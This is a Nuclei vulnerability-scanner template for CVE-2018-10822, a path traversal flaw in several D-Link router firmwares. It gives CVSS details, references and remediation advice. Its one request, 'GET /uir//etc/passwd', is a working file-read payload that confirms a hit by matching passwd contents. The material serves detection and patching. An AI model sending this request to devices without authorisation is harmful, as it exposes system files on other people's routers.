nuclei-templates/http/cves/2018/CVE-2018-10822.yaml

45 lines
1.6 KiB
YAML

id: CVE-2018-10822
info:
name: D-Link Routers - Local File Inclusion
author: daffainfo
severity: high
description: D-Link routers DWR-116 through 1.06, DIR-140L through 1.02, DIR-640L through 1.02,DWR-512 through 2.02,DWR-712 through 2.02,DWR-912 through 2.02, DWR-921 through 2.02, DWR-111 through 1.01, and probably others with the same type of firmware allows remote attackers to read arbitrary files via a /.. or // after "GET /uir" in an HTTP request to the web interface.
remediation: |
Apply the latest firmware update provided by D-Link to fix the vulnerability
reference:
- https://www.exploit-db.com/exploits/45678
- http://sploit.tech/2018/10/12/D-Link.html
- https://nvd.nist.gov/vuln/detail/CVE-2018-10822
- https://seclists.org/fulldisclosure/2018/Oct/36
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2018-10822
cwe-id: CWE-22
epss-score: 0.10309
epss-percentile: 0.94381
cpe: cpe:2.3:o:dlink:dwr-116_firmware:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: dlink
product: dwr-116_firmware
tags: dlink,edb,seclists,cve,cve2018,lfi,router
http:
- method: GET
path:
- "{{BaseURL}}/uir//etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 490a00463044022077bbc027d2b63ed7d32dbf2cf7c9c56a7a58cb84b17f5b007d9a90432770c2380220630ba41cc96ad64bbb8fc4bbe9f720d10c2451eba9072eb9516242deb9577be1:922c64590222798bb761d5b6d8e72950